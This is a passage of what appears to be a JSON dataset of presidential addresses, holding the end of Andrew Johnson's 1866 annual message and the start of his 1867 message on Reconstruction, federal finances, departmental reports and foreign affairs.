day of December, 1865, it was officially\ndeclared to have become valid as a part of the Constitution of the\nUnited States. All of the States in which the insurrection had existed\npromptly amended their constitutions so as to make them conform to the\ngreat change thus effected in the organic law of the land; declared\nnull and void all ordinances and laws of secession; repudiated all\npretended debts and obligations created for the revolutionary purposes\nof the insurrection, and proceeded in good faith to the enactment of\nmeasures for the protection and amelioration of the condition of the\ncolored race. Congress, however, yet hesitated to admit any of these\nStates to representation, and it was not until toward the close of the\neighth month of the session that an exception was made in favor of\nTennessee by the admission of her Senators and Representatives.I deem it a subject of profound regret that Congress has thus far\nfailed to admit to seats loyal Senators and Representatives from the\nother States whose inhabitants, with those of Tennessee, had engaged in\nthe rebellion. Ten States--more than one-fourth of the whole\nnumber--remain without representation; the seats of fifty members in\nthe House of Representatives and of twenty members in the Senate are\nyet vacant, not by their own consent, not by a failure of election, but\nby the refusal of Congress to accept their credentials. Their\nadmission, it is believed, would have accomplished much toward the\nrenewal and strengthening of our relations as one people and removed\nserious cause for discontent on the part of the inhabitants of those\nStates. It would have accorded with the great principle enunciated in\nthe Declaration of American Independence that no people ought to bear\nthe burden of taxation and yet be denied the right of representation.\nIt would have been in consonance with the express provisions of the\nConstitution that \"each State shall have at least one Representative\"\nand \"that no State, without its consent, shall be deprived of its equal\nsuffrage in the Senate.\" These provisions were intended to secure to\nevery State and to the people of every State the right of\nrepresentation in each House of Congress; and so important was it\ndeemed by the framers of the Constitution that the equality of the\nStates in the Senate should be preserved that not even by an amendment\nof the Constitution can any State, without its consent, be denied a\nvoice in that branch of the National Legislature.It is true it has been assumed that the existence of the States was\nterminated by the rebellious acts of their inhabitants, and that, the\ninsurrection having been suppressed, they were thenceforward to be\nconsidered merely as conquered territories. The legislative, executive,\nand judicial departments of the Government have, however, with Heat\ndistinctness and uniform consistency, refused to sanction an assumption\nso incompatible with the nature of our republican system and with the\nprofessed objects of the war. Throughout the recent legislation of\nCongress the undeniable fact makes itself apparent that these ten\npolitical communities are nothing less than States of this Union. At\nthe very commencement of the rebellion each House declared, with a\nunanimity as remarkable as it was significant, that the war was not\n\"waged upon our part in any spirit of oppression, nor for any purpose\nof conquest or subjugation, nor purpose of overthrowing or interfering\nwith the rights or established institutions of those States, but to\ndefend and maintain the supremacy of the Constitution and all laws made\nin pursuance thereof, and to preserve the Union, with all the dignity,\nequality, and rights of the several States unimpaired; and that as soon\nas these objects\" were \"accomplished the war ought to cease.\" In some\ninstances Senators were permitted to continue their legislative\nfunctions, while in other instances Representatives were elected and\nadmitted to seats after their States had formally declared their right\nto withdraw from the Union and were endeavoring to maintain that right\nby force of arms. All of the States whose people were in insurrection,\nas States, were included in the apportionment of the direct tax of\n$20,000,000 annually laid upon the United States by the act approved\n5th August, 1861. Congress, by the act of March 4, 1862, and by the\napportionment of representation thereunder also recognized their\npresence as States in the Union; and they have, for judicial purposes,\nbeen divided into districts, as States alone can be divided. The same\nrecognition appears in the recent legislation in reference to\nTennessee, which evidently rests upon the fact that the functions of\nthe State were not destroyed by the rebellion, but merely suspended;\nand that principle is of course applicable to those States which, like\nTennessee, attempted to renounce their places in the Union.The action of the executive department of the Government upon this\nsubject has been equally definite and uniform, and the purpose of the\nwar was specifically stated in the proclamation issued by my\npredecessor on the 22d day of September, 1862. It was then solemnly\nproclaimed and declared \"that hereafter, as heretofore, the war will be\nprosecuted for the object of practically restoring the constitutional\nrelation between the United States and each of the States and the\npeople thereof in which States that relation is or may be suspended or\ndisturbed.\"The recognition of the States by the judicial department of the\nGovernment has also been dear and conclusive in all proceedings\naffecting them as States had in the Supreme, circuit, and district\ncourts. In the admission of Senators and Representatives from any and\nall of the States there can be no just ground of apprehension that\npersons who are disloyal will be clothed with the powers of\nlegislation, for this could not happen when the Constitution and the\nlaws are enforced by a vigilant and faithful Congress. Each House is\nmade the \"judge of the elections, returns, and qualifications of its\nown members,\" and may, \"with the concurrence of two-thirds, expel a\nmember.\" When a Senator or Representative presents his certificate of\nelection, he may at once be admitted or rejected; or, should there be\nany question as to his eligibility, his credentials may be referred for\ninvestigation to the appropriate committee. If admitted to a seat, it\nmust be upon evidence satisfactory to the House of which he thus\nbecomes a member that he possesses the requisite constitutional and\nlegal qualifications. If refused admission as a member for want of due\nallegiance to the Government and returned to his constituents, they are\nadmonished that none but persons loyal to the United States will be\nallowed a voice in the legislative councils of the nation, and the\npolitical power and moral influence of Congress are thus effectively\nexerted in the interests of loyalty to the Government and fidelity to\nthe Union. Upon this question, so vitally affecting the restoration of\nthe Union and the permanency of our present form of government, my\nconvictions, heretofore expressed, have undergone no change, but, on\nthe contrary, their correctness has been confirmed by reflection and\ntime. If the admission of loyal members to seats in the respective\nHouses of Congress was wise and expedient a year ago, it is no less\nwise and expedient now. If this anomalous condition is right now--if in\nthe exact condition of these States at the present time it is lawful to\nexclude them from representation--I do not see that the question will\nbe changed by the efflux of time. Ten years hence, if these States\nremain as they are, the right of representation will be no stronger,\nthe right of exclusion will be no weaker.The Constitution of the United States makes it the duty of the\nPresident to recommend to the consideration of Congress \"such measures\nas he shall judge necessary and expedient.\" I know of no measure more\nimperatively demanded by every consideration of national interest,\nsound policy, and equal justice than the admission of loyal members\nfrom the now unrepresented States. This would consummate the work of\nrestoration and exert a most salutary influence in the reestablishment\nof peace, harmony, and fraternal feeling. It would tend greatly to\nrenew the confidence of the American people in the vigor and stability\nof their institutions. It would bind us more closely together as a\nnation and enable us to show to the world the inherent and recuperative\npower of a government founded upon the will of the people and\nestablished upon the principles of liberty, justice, and intelligence.\nOur increased strength and enhanced prosperity would irrefragably\ndemonstrate the fallacy of the arguments against free institutions\ndrawn from our recent national disorders by the enemies of republican\ngovernment. The admission of loyal members from the States now excluded\nfrom Congress, by allaying doubt and apprehension, would turn capital\nnow awaiting an opportunity for investment into the channels of trade\nand industry. It would alleviate the present troubled condition of\nthose States, and by inducing emigration aid in the settlement of\nfertile regions now uncultivated and lead to an increased production of\nthose staples which have added so greatly to the wealth of the nation\nand commerce of the world. New fields of enterprise would be opened to\nour progressive people and soon the devastations of war would be\nrepaired and all traces of our domestic differences effaced from the\nminds of our countrymen.In our efforts to preserve \"the unity of government which constitutes\nas one people\" by restoring the States to the condition which they held\nprior to the rebellion, we should be cautious, lest, having rescued our\nnation from perils of threatened disintegration, we resort to\nconsolidation, and in the end absolute despotism, as a remedy for the\nrecurrence of similar troubles. The war having terminated, and with it\nall occasion for the exercise of powers of doubtful constitutionality,\nwe should hasten to bring legislation within the boundaries prescribed\nby the Constitution and to return to the ancient landmarks established\nby our fathers for the guidance of succeeding generations. The\nconstitution which at any time exists till changed by an explicit and\nauthentic act of the whole people is sacredly obligatory upon all. If\nin the opinion of the people the distribution or modification of the\nconstitutional powers be in any particular wrong, let it be corrected\nby an amendment in the way which the Constitution designates; but let\nthere be no change by usurpation, for it is the customary weapon by\nwhich free governments are destroyed.  Washington spoke these words to\nhis countrymen when, followed by their love and gratitude, he\nvoluntarily retired from the cares of public life. \"To keep in all\nthings within the pale of our constitutional powers and cherish the\nFederal Union as the only rock of safety\" were prescribed by Jefferson\nas rules of action to endear to his \"countrymen the true principles of\ntheir Constitution and promote a union of sentiment and action, equally\nauspicious to their happiness and safety.\" Jackson held that the action\nof the General Government should always be strictly confined to the\nsphere of its appropriate duties, and justly and forcibly urged that\nour Government is not to be maintained nor our Union preserved \"by\ninvasions of the rights and powers of the several States. In thus\nattempting to make our General Government strong we make it weak. Its\ntrue strength consists in leaving individuals and States as much as\npossible to themselves; in making itself felt, not in its power, but in\nits beneficence; not in its control, but in its protection; not in\nbinding the States more closely to the center, but leaving each to move\nunobstructed in its proper constitutional orbit.\" These are the\nteachings of men whose deeds and services have made them illustrious,\nand who, long since withdrawn from the scenes of life, have left to\ntheir country the rich legacy of their example, their wisdom, and their\npatriotism. Drawing fresh inspiration from their lessons, let us\nemulate them in love of country and respect for the Constitution and\nthe laws.The report of the Secretary of the Treasury affords much information\nrespecting the revenue and commerce of the country. His views upon the\ncurrency and with reference to a proper adjustment of our revenue\nsystem, internal as well as impost, are commended to the careful\nconsideration of Congress. In my last annual message I expressed my\ngeneral views upon these subjects. I need now only call attention to\nthe necessity of carrying into every department of the Government a\nsystem of rigid accountability, thorough retrenchment, and wise\neconomy. With no exceptional nor unusual expenditures, the oppressive\nburdens of taxation can be lessened by such a modification of our\nrevenue laws as will be consistent with the public faith and the\nlegitimate and necessary wants of the Government.The report presents a much more satisfactory condition of our finances\nthan one year ago the most sanguine could have anticipated. During the\nfiscal year ending the 30th June, 1865 (the last year of the war), the\npublic debt was increased $941,902,537, and on the 31st of October,\n1865, it amounted to $2,740,854,750. On the 31st day of October, 1866,\nit had been reduced to $2,552,310,006, the diminution during a period\nof fourteen months, commencing September 1, 1865, and ending October\n31, 1866, having been $206,379,565. In the last annual report on the\nstate of the finances it was estimated that during the three quarters\nof the fiscal year ending the 30th of June last the debt would be\nincreased $112,194,947. During that period, however, it was reduced\n$31,196,387, the receipts of the year having been $89,905,905 more and\nthe expenditures $200,529,235 less than the estimates. Nothing could\nmore clearly indicate than these statements the extent and availability\nof the national resources and the rapidity and safety with which under\nour form of government, great military and naval establishments can be\ndisbanded and expenses reduced from a war to a peace footing.During the fiscal year ending June 30, 1866, the receipts were\n$558,032,620 and the expenditures $520,750,940, leaving an available\nsurplus of $37,281,680. It is estimated that the receipts for the\nfiscal year ending the 30th June, 1867, will be $475,061.386, and that\nthe expenditures will reach the sum of $316,428,078, leaving in the\nTreasury a surplus of $158,633,308. For the fiscal year ending June 30,\n1886, it is estimated that the receipts will amount to $436,000,000 and\nthat the expenditures will be $350,247,641, showing an excess of\n$85,752,359 in favor of the Government. These estimated receipts may be\ndiminished by a reduction of excise and import duties, but after all\nnecessary reductions shall have been made the revenue of the present\nand of following years will doubtless be sufficient to cover all\nlegitimate charges upon the Treasury and leave a large annual surplus\nto be applied to the payment of the principal of the debt. There seems\nnow to be no good reason why taxes may not be reduced as the country\nadvances in population and wealth, and yet the debt be extinguished\nwithin the next quarter of a century.The report of the Secretary of War furnishes valuable and important\ninformation in reference to the operations of his Department during the\npast year. Few volunteers now remain in the service, and they are being\ndischarged as rapidly as they can be replaced by regular troops. The\nArmy has been promptly paid, carefully provided with medical treatment,\nwell sheltered and subsisted, and is to be furnished with\nbreech-loading small arms. The military strength of the nation has been\nunimpaired by the discharge of volunteers, the disposition of\nunserviceable or perishable stores, and the retrenchment of\nexpenditure. Sufficient war material to meet any emergency has been\nretained, and from the disbanded volunteers standing ready to respond\nto the national call large armies can be rapidly organized, equipped,\nand concentrated. Fortifications on the coast and frontier have\nreceived or are being prepared for more powerful armaments; lake\nsurveys and harbor and river improvements are in course of energetic\nprosecution. Preparations have been made for the payment of the\nadditional bounties authorized during the recent session of Congress,\nunder such regulations as will protect the Government from fraud and\nsecure to the honorably discharged soldier the well-earned reward of\nhis faithfulness and gallantry. More than 6,000 maimed soldiers have\nreceived artificial limbs or other surgical apparatus, and 41 national\ncemeteries, containing the remains of 104,526 Union soldiers, have\nalready been established. The total estimate of military appropriations\nis $25,205,669.It is stated in the report of the Secretary of the Navy that the naval\nforce at this time consists of 278 vessels, armed with 2,351 guns. Of\nthese, 115 vessels, carrying 1,029 guns, are in commission, distributed\nchiefly among seven squadrons. The number of men in the service is\n13,600. Great activity and vigilance have been displayed by all the\nsquadrons, and their movements have been judiciously and efficiently\narranged in such manner as would best promote American commerce and\nprotect the rights and interests of our countrymen abroad. The vessels\nunemployed are undergoing repairs or are laid up until their services\nmay be required. Most of the ironclad fleet is at League Island, in the\nvicinity of Philadelphia, a place which, until decisive action should\nbe taken by Congress, was selected by the Secretary of the Navy as the\nmost eligible location for that class of vessels. It is important that\na suitable public station should be provided for the ironclad fleet. It\nis intended that these vessels shall be in proper condition for any\nemergency, and it is desirable that the bill accepting League Island\nfor naval purposes, which passed the House of Representatives at its\nlast session, should receive final action at an early period, in order\nthat there may be a suitable public station for this class of vessels,\nas well as a navy-yard of area sufficient for the wants of the service\non the Delaware River. The naval pension fund amounts to $11,750,000,\nhaving been increased $2,750,000 during the year. The expenditures of\nthe Department for the fiscal year ending 30th June last were\n$43,324,526, and the estimates for the coming year amount to\n$23,568,436. Attention is invited to the condition of our seamen and\nthe importance of legislative measures for their relief and\nimprovement. The suggestions in behalf of this deserving class of our\nfellow-citizens are earnestly recommended to the favorable attention of\nCongress.The report of the Postmaster-General presents a most satisfactory\ncondition of the postal service and submits recommendations which\ndeserve the consideration of Congress. The revenues of the Department\nfor the year ending June 30, 1866, were $14,386,986 and the\nexpenditures $15,352,079, showing an excess of the latter of $965,093.\nIn anticipation of this deficiency, however, a special appropriation\nwas made by Congress in the act approved July 28, 1866. Including the\nstanding appropriation of $700,000 for free mail matter as a legitimate\nportion of the revenues, yet remaining unexpended, the actual\ndeficiency for the past year is only $265,093--a sum within $51,141 of\nthe amount estimated in the annual report of 1864. The decrease of\nrevenue compared with the previous year was 1 1/5 per cent, and the\nincrease of expenditures, owing principally to the enlargement of the\nmail service in the South, was 12 per cent. On the 30th of June last\nthere were in operation 6,930 mail routes, with an aggregate length of\n180,921 miles, an aggregate annual transportation of 71,837,914 miles,\nand an aggregate annual cost, including all expenditures, of\n$8,410,184. The length of railroad routes is 32,092 miles and the\nannual transportation 30,609,467 miles. The length of steamboat routes\nis 14,346 miles and the annual transportation 3,411,962 miles. The mail\nservice is rapidly increasing throughout the whole country, and its\nsteady extension in the Southern States indicates their constantly\nimproving condition. The growing importance of the foreign service also\nmerits attention. The post-office department of Great Britain and our\nown have agreed upon a preliminary basis for a new postal convention,\nwhich it is believed will prove eminently beneficial to the commercial\ninterests of the United States, inasmuch as it contemplates a reduction\nof the international letter postage to one-half the existing rates: a\nreduction of postage with all other countries to and from which\ncorrespondence is transmitted in the British mail, or in closed mails\nthrough the United Kingdom; the establishment of uniform and reasonable\ncharges for the sea and territorial transit of correspondence in closed\nmails; and an allowance to each post-office department of the right to\nuse all mail communications established under the authority of the\nother for the dispatch of correspondence, either in open or closed\nmails, on the same terms as those applicable to the inhabitants of the\ncountry providing the means of transmission.The report of the Secretary of the Interior exhibits the condition of\nthose branches of the public service which are committed to his\nsupervision. During the last fiscal year 4,629,312 acres of public land\nwere disposed of, 1,892,516 acres of which were entered under the\nhomestead act. The policy originally adopted relative to the public\nlands has undergone essential modifications. Immediate revenue, and not\ntheir rapid settlement, was the cardinal feature of our land system.\nLong experience and earnest discussion have resulted in the conviction\nthat the early development of our agricultural resources and the\ndiffusion of an energetic population over our vast territory are\nobjects of far greater importance to the national growth and prosperity\nthan the proceeds of the sale of the land to the highest bidder in open\nmarket. The preemption laws confer upon the pioneer who complies with\nthe terms they impose the privilege of purchasing a limited portion of\n\"unoffered lands\" at the minimum price. The homestead enactments\nrelieve the settler from the payment of purchase money, and secure him\na permanent home upon the condition of residence for a term of years.\nThis liberal policy invites emigration from the Old and from the more\ncrowded portions of the New World. Its propitious results are\nundoubted, and will be more signally manifested when time shall have\ngiven to it a wider development.Congress has made liberal grants of public land to corporations in aid\nof the construction of railroads and other internal improvements.\nShould this policy hereafter prevail, more stringent provisions will be\nrequired to secure a faithful application of the fund. The title to the\nlands should not pass, by patent or otherwise, but remain in the\nGovernment and subject to its control until some portion of the road\nhas been actually built. Portions of them might then from time to time\nbe conveyed to the corporation, but never in a greater ratio to the\nwhole quantity embraced by the grant than the completed parts bear to\nthe entire length of the projected improvement. This restriction would\nnot operate to the prejudice of any undertaking conceived in good faith\nand executed with reasonable energy, as it is the settled practice to\nwithdraw from market the lands falling within the operation of such\ngrants, and thus to exclude the inception of a subsequent adverse\nright. A breach of the conditions which Congress may deem proper to\nimpose should work a forfeiture of claim to the lands so withdrawn but\nunconveyed, and of title to the lands conveyed which remain unsold.Operations on the several lines of the Pacific Railroad have been\nprosecuted with unexampled vigor and success. Should no unforeseen\ncauses of delay occur, it is confidently anticipated that this great\nthoroughfare will be completed before the expiration of the period\ndesignated by Congress.During the last fiscal year the amount paid to pensioners, including\nthe expenses of disbursement, was $13,459,996, and 50,177 names were\nadded to the pension rolls. The entire number of pensioners June 30,\n1866, was 126,722. This fact furnishes melancholy and striking proof of\nthe sacrifices made to vindicate the constitutional authority of the\nFederal Government and to maintain inviolate the integrity of the Union\nThey impose upon us corresponding obligations. It is estimated that\n$33,000,000 will be required to meet the exigencies of this branch of\nthe service during the next fiscal year.Treaties have been concluded with the Indians, who, enticed into armed\nopposition to our Government at the outbreak of the rebellion, have\nunconditionally submitted to our authority and manifested an earnest\ndesire for a renewal of friendly relations.During the year ending September 30, 1866, 8,716 patents for useful\ninventions and designs were issued, and at that date the balance in the\nTreasury to the credit of the patent fund was $228,297.As a subject upon which depends an immense amount of the production and\ncommerce of the country, I recommend to Congress such legislation as\nmay be necessary for the preservation of the levees of the Mississippi\nRiver. It is a matter of national importance that early steps should be\ntaken, not only to add to the efficiency of these barriers against\ndestructive inundations, but for the removal of all obstructions to the\nfree and safe navigation of that great channel of trade and commerce.The District of Columbia under existing laws is not entitled to that\nrepresentation in the national councils which from our earliest history\nhas been uniformly accorded to each Territory established from time to\ntime within our limits. It maintains peculiar relations to Congress, to\nwhom the Constitution has granted the power of exercising exclusive\nlegislation over the seat of Government. Our fellow-citizens residing\nin the District, whose interests are thus confided to the special\nguardianship of Congress, exceed in number the population of several of\nour Territories, and no just reason is perceived why a Delegate of\ntheir choice should not be admitted to a seat in the House of\nRepresentatives. No mode seems so appropriate and effectual of enabling\nthem to make known their peculiar condition and wants and of securing\nthe local legislation adapted to them. I therefore recommend the\npassage of a law authorizing the electors of the District of Columbia\nto choose a Delegate, to be allowed the same rights and privileges as a\nDelegate representing a Territory. The increasing enterprise and rapid\nprogress of improvement in the District are highly gratifying, and I\ntrust that the efforts of the municipal authorities to promote the\nprosperity of the national metropolis will receive the efficient and\ngenerous cooperation of Congress.The report of the Commissioner of Agriculture reviews the operations of\nhis Department during the past year, and asks the aid of Congress in\nits efforts to encourage those States which, scourged by war, are now\nearnestly engaged in the reorganization of domestic industry.It is a subject of congratulation that no foreign combinations against\nour domestic peace and safety or our legitimate influence among the\nnations have been formed or attempted. While sentiments of\nreconciliation, loyalty, and patriotism have increased at home, a more\njust consideration of our national character and rights has been\nmanifested by foreign nations.The entire success of the Atlantic telegraph between the coast of\nIreland and the Province of Newfoundland is an achievement which has\nbeen justly celebrated in both hemispheres as the opening of an era in\nthe progress of civilization. There is reason to expect that equal\nsuccess will attend and even greater results follow the enterprise for\nconnecting the two continents through the Pacific Ocean by the\nprojected line of telegraph between Kamchatka and the Russian\npossessions in America.The resolution of Congress protesting against pardons by foreign\ngovernments of persons convicted of infamous offenses on condition of\nemigration to our country has been communicated to the states with\nwhich we maintain intercourse, and the practice, so justly the subject\nof complaint on our part, has not been renewed.The congratulations of Congress to the Emperor of Russia upon his\nescape from attempted assassination have been presented to that humane\nand enlightened ruler and received by him with expressions of grateful\nappreciation.The Executive, warned of an attempt by Spanish American adventurers to\ninduce the emigration of freedmen of the United States to a foreign\ncountry, protested against the project as one which, if consummated,\nwould reduce them to a bondage even more oppressive than that from\nwhich they have just been relieved. Assurance has been received from\nthe Government of the State in which the plan was matured that the\nproceeding will meet neither its encouragement nor approval. It is a\nquestion worthy of your consideration whether our laws upon this\nsubject are adequate to the prevention or punishment of the crime thus\nmeditated.In the month of April last, as Congress is aware, a friendly\narrangement was made between the Emperor of France and the President of\nthe United States for the withdrawal from Mexico of the French\nexpeditionary military forces. This withdrawal was to be effected in\nthree detachments, the first of which, it was understood, would leave\nMexico in November, now past, the second in March next, and the third\nand last in November, 1867. Immediately upon the completion of the\nevacuation the French Government was to assume the same attitude of\nnonintervention in regard to Mexico as is held by the Government of the\nUnited States. Repeated assurances have been given by the Emperor since\nthat agreement that he would complete the promised evacuation within\nthe period mentioned, or sooner.It was reasonably expected that the proceedings thus contemplated would\nproduce a crisis of great political interest in the Republic of Mexico.\nThe newly appointed minister of the United States, Mr. Campbell, was\ntherefore sent forward on the 9th day of November last to assume his\nproper functions as minister plenipotentiary of the United States to\nthat Republic. It was also thought expedient that he should be attended\nin the vicinity of Mexico by the Lieutenant-General of the Army of the\nUnited States, with the view of obtaining such information as might be\nimportant to determine the course to be pursued by the United States in\nreestablishing and maintaining necessary and proper intercourse with\nthe Republic of Mexico. Deeply interested in the cause of liberty and\nhumanity, it seemed an obvious duty on our part to exercise whatever\ninfluence we possessed for the restoration and permanent establishment\nin that country of a domestic and republican form of government.Such was the condition of our affairs in regard to Mexico when, on the\n22d of November last, official information was received from Paris that\nthe Emperor of France had some time before decided not to withdraw a\ndetachment of his forces in the month of November past, according to\nengagement, but that this decision was made with the purpose of\nwithdrawing the whole of those forces in the ensuing spring. Of this\ndetermination, however, the United States had not received any notice\nor intimation, and so soon as the information was received by the\nGovernment care was taken to make known its dissent to the Emperor of\nFrance.I can not forego the hope that France will reconsider the subject and\nadopt some resolution in regard to the evacuation of Mexico which will\nconform as nearly as practicable with the existing engagement, and thus\nmeet the just expectations of the United States. The papers relating to\nthe subject will be laid before you. It is believed that with the\nevacuation of Mexico by the expeditionary forces no subject for serious\ndifferences between France and the United States would remain. The\nexpressions of the Emperor and people of France warrant a hope that the\ntraditionary friendship between the two countries might in that case be\nrenewed and permanently restored.A claim of a citizen of the United States for indemnity for spoliations\ncommitted on the high seas by the French authorities in the exercise of\na belligerent power against Mexico has been met by the Government of\nFrance with a proposition to defer settlement until a mutual convention\nfor the adjustment of all claims of citizens and subjects of both\ncountries arising out of the recent wars on this continent shall be\nagreed upon by the two countries. The suggestion is not deemed\nunreasonable, but it belongs to Congress to direct the manner in which\nclaims for indemnity by foreigners as well as by citizens of the United\nStates arising out of the late civil war shall be adjudicated and\ndetermined. I have no doubt that the subject of all such claims will\nengage your attention at a convenient and proper time.It is a matter of regret that no considerable advance has been made\ntoward an adjustment of the differences between the United States and\nGreat Britain arising out of the depredations upon our national\ncommerce and other trespasses committed during our civil war by British\nsubjects, in violation of international law and treaty obligations. The\ndelay, however, may be believed to have resulted in no small degree\nfrom the domestic situation of Great Britain. An entire change of\nministry occurred in that country during the last session of\nParliament. The attention of the new ministry was called to the subject\nat an early day, and there is some reason to expect that it will now be\nconsidered in a becoming and friendly spirit. The importance of an\nearly disposition of the question can not be exaggerated. Whatever\nmight be the wishes of the two Governments, it is manifest that good\nwill and friendship between the two countries can not be established\nuntil a reciprocity in the practice of good faith and neutrality shall\nbe restored between the respective nations.On the 6th of June last, in violation of our neutrality laws, a\nmilitary expedition and enterprise against the British North American\ncolonies was projected and attempted to be carried on within the\nterritory and jurisdiction of the United States. In obedience to the\nobligation imposed upon the Executive by the Constitution to see that\nthe laws are faithfully executed, all citizens were warned by\nproclamation against taking part in or aiding such unlawful\nproceedings, and the proper civil, military, and naval officers were\ndirected to take all necessary measures for the enforcement of the\nlaws. The expedition failed, but it has not been without its painful\nconsequences. Some of our citizens who, it was alleged, were engaged in\nthe expedition were captured, and have been brought to trial as for a\ncapital offense in the Province of Canada. Judgment and sentence of\ndeath have been pronounced against some, while others have been\nacquitted. Fully believing in the maxim of government that severity of\ncivil punishment for misguided persons who have engaged in\nrevolutionary attempts which have disastrously failed is unsound and\nunwise, such representations have been made to the British Government\nin behalf of the convicted persons as, being sustained by an\nenlightened and humane judgment, will, it is hoped, induce in their\ncases an exercise of clemency and a judicious amnesty to all who were\nengaged in the movement. Counsel has been employed by the Government to\ndefend citizens of the United States on trial for capital offenses in\nCanada, and a discontinuance of the prosecutions which were instituted\nin the courts of the United States against those who took part in the\nexpedition has been directed.I have regarded the expedition as not only political in its nature, but\nas also in a great measure foreign from the United States in its\ncauses, character, and objects. The attempt was understood to be made\nin sympathy with an insurgent party in Ireland, and by striking at a\nBritish Province on this continent was designed to aid in obtaining\nredress for political grievances which, it was assumed, the people of\nIreland had suffered at the hands of the British Government during a\nperiod of several centuries. The persons engaged in it were chiefly\nnatives of that country, some of whom had, while others had not, become\ncitizens of the United States under our general laws of naturalization.\nComplaints of misgovernment in Ireland continually engage the attention\nof the British nation, and so great an agitation is now prevailing in\nIreland that the British Government have deemed it necessary to suspend\nthe writ of habeas corpus in that country. These circumstances must\nnecessarily modify the opinion which we might otherwise have\nentertained in regard to an expedition expressly prohibited by our\nneutrality laws. So long as those laws remain upon our statute books\nthey should be faithfully executed, and if they operate harshly,\nunjustly, or oppressively Congress alone can apply the remedy by their\nmodification or repeal.Political and commercial interests of the United States are not\nunlikely to be affected in some degree by events which are transpiring\nin the eastern regions of Europe, and the time seems to have come when\nour Government ought to have a proper diplomatic representation in\nGreece.This Government has claimed for all persons not convicted or accused or\nsuspected of crime an absolute political right of self-expatriation and\na choice of new national allegiance. Most of the European States have\ndissented from this principle, and have claimed a right to hold such of\ntheir subjects as have emigrated to and been naturalized in the United\nStates and afterwards returned on transient visits to their native\ncountries to the performance of military service in like manner as\nresident subjects. Complaints arising from the claim in this respect\nmade by foreign states have heretofore been matters of controversy\nbetween the United States and some of the European powers, and the\nirritation consequent upon the failure to settle this question\nincreased during the war in which Prussia, Italy, and Austria were\nrecently engaged. While Great Britain has never acknowledged the right\nof expatriation, she has not for some years past practically insisted\nupon the opposite doctrine. France has been equally forbearing, and\nPrussia has proposed a compromise, which, although evincing increased\nliberality, has not been accepted by the United States. Peace is now\nprevailing everywhere in Europe, and the present seems to be a\nfavorable time for an assertion by Congress of the principle so long\nmaintained by the executive department that naturalization by one state\nfully exempts the native-born subject of any other state from the\nperformance of military service under any foreign government, so long\nas he does not voluntarily renounce its rights and benefits.In the performance of a duty imposed upon me by the Constitution I have\nthus submitted to the representatives of the States and of the people\nsuch information of our domestic and foreign affairs as the public\ninterests seem to require. Our Government is now undergoing its most\ntrying ordeal, and my earnest prayer is that the peril may be\nsuccessfully and finally passed without impairing its original strength\nand symmetry. The interests of the nation are best to be promoted by\nthe revival of fraternal relations, the complete obliteration of our\npast differences, and the reinauguration of all the pursuits of peace.\nDirecting our efforts to the early accomplishment of these great ends,\nlet us endeavor to preserve harmony between the coordinate departments\nof the Government, that each in its proper sphere may cordially\ncooperate with the other in securing the maintenance of the\nConstitution, the preservation of the Union, and the perpetuity of our\nfree institutions.", 
+    "name": "Andrew Johnson"
+}
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+{
+    "date": "December 3, 1867", 
+    "speech": "Fellow-Citizens of the Senate and House of Representatives:The continued disorganization of the Union, to which the President has\nso often called the attention of Congress, is yet a subject of profound\nand patriotic concern. We may, however, find some relief from that\nanxiety in the reflection that the painful political situation,\nalthough before untried by ourselves, is not new in the experience of\nnations. Political science, perhaps as highly perfected in our own time\nand country as in any other, has not yet disclosed any means by which\ncivil wars can be absolutely prevented. An enlightened nation, however,\nwith a wise and beneficent constitution of free government, may\ndiminish their frequency and mitigate their severity by directing all\nits proceedings in accordance with its fundamental law.When a civil war has been brought to a close, it is manifestly the\nfirst interest and duty of the state to repair the injuries which the\nwar has inflicted, and to secure the benefit of the lessons it teaches\nas fully and as speedily as possible. This duty was, upon the\ntermination of the rebellion, promptly accepted not only by the\nexecutive department, but by the insurrectionary States themselves, and\nrestoration in the first moment of peace was believed to be as easy and\ncertain as it was indispensable. The expectations, however, then so\nreasonably and confidently entertained were disappointed by legislation\nfrom which I felt constrained by my obligations to the Constitution to\nwithhold my assent.It is therefore a source of profound regret that in complying with the\nobligation imposed upon the President by the Constitution to give to\nCongress from time to time information of the state of the Union I am\nunable to communicate any definitive adjustment satisfactory to the\nAmerican people, of the questions which since the close of the\nrebellion have agitated the public mind. On the contrary, candor\ncompels me to declare that at this time there is no Union as our\nfathers understood the term, and as they meant it to be understood by\nus. The Union which they established can exist only where all the\nStates are represented in both Houses of Congress; where one State is\nas free as another to regulate its internal concerns according to its\nown will, and where the laws of the central Government, strictly\nconfined to matters of national jurisdiction, apply with equal force to\nall the people of every section. That such is not the present \"state of\nthe Union\" is a melancholy fact, and we must all acknowledge that the\nrestoration of the States to their proper legal relations with the\nFederal Government and with one another, according to the terms of the\noriginal compact, would be the greatest temporal blessing which God, in\nHis kindest providence, could bestow upon this nation. It becomes our\nimperative duty to consider whether or not it is impossible to effect\nthis most desirable consummation.  The Union and the Constitution are\ninseparable. As long as one is obeyed by all parties, the other will be\npreserved; and if one is destroyed, both must perish together. The\ndestruction of the Constitution will be followed by other and still\ngreater calamities. It was ordained not only to form a more perfect\nunion between the States, but to \"establish justice, insure domestic\ntranquillity, provide for the common defense, promote the general\nwelfare, and secure the blessings of liberty to ourselves and our\nposterity.\" Nothing but implicit obedience to its requirements in all\nparts of the country will accomplish these great ends. Without that\nobedience we can look forward only to continual outrages upon\nindividual rights, incessant breaches of the public peace, national\nweakness, financial dishonor, the total loss of our prosperity, the\ngeneral corruption of morals, and the final extinction of popular\nfreedom. To save our country from evils so appalling as these, we\nshould renew our efforts again and again.To me the process of restoration seems perfectly plain and simple. It\nconsists merely in a faithful application of the Constitution and laws.\nThe execution of the laws is not now obstructed or opposed by physical\nforce. There is no military or other necessity, real or pretended,\nwhich can prevent obedience to the Constitution, either North or South.\nAll the rights and all the obligations of States and individuals can be\nprotected and enforced by means perfectly consistent with the\nfundamental law. The courts may be everywhere open, and if open their\nprocess would be unimpeded. Crimes against the United States can be\nprevented or punished by the proper judicial authorities in a manner\nentirely practicable and legal. There is therefore no reason why the\nConstitution should not be obeyed, unless those who exercise its powers\nhave determined that it shall be disregarded and violated. The mere\nnaked will of this Government, or of some one or more of its branches,\nis the only obstacle that can exist to a perfect union of all the\nStates.On this momentous question and some of the measures growing out of it I\nhave had the misfortune to differ from Congress, and have expressed my\nconvictions without reserve, though with becoming deference to the\nopinion of the legislative department. Those convictions are not only\nunchanged, but strengthened by subsequent events and further reflection\nThe transcendent importance of the subject will be a sufficient excuse\nfor calling your attention to some of the reasons which have so\nstrongly influenced my own judgment. The hope that we may all finally\nconcur in a mode of settlement consistent 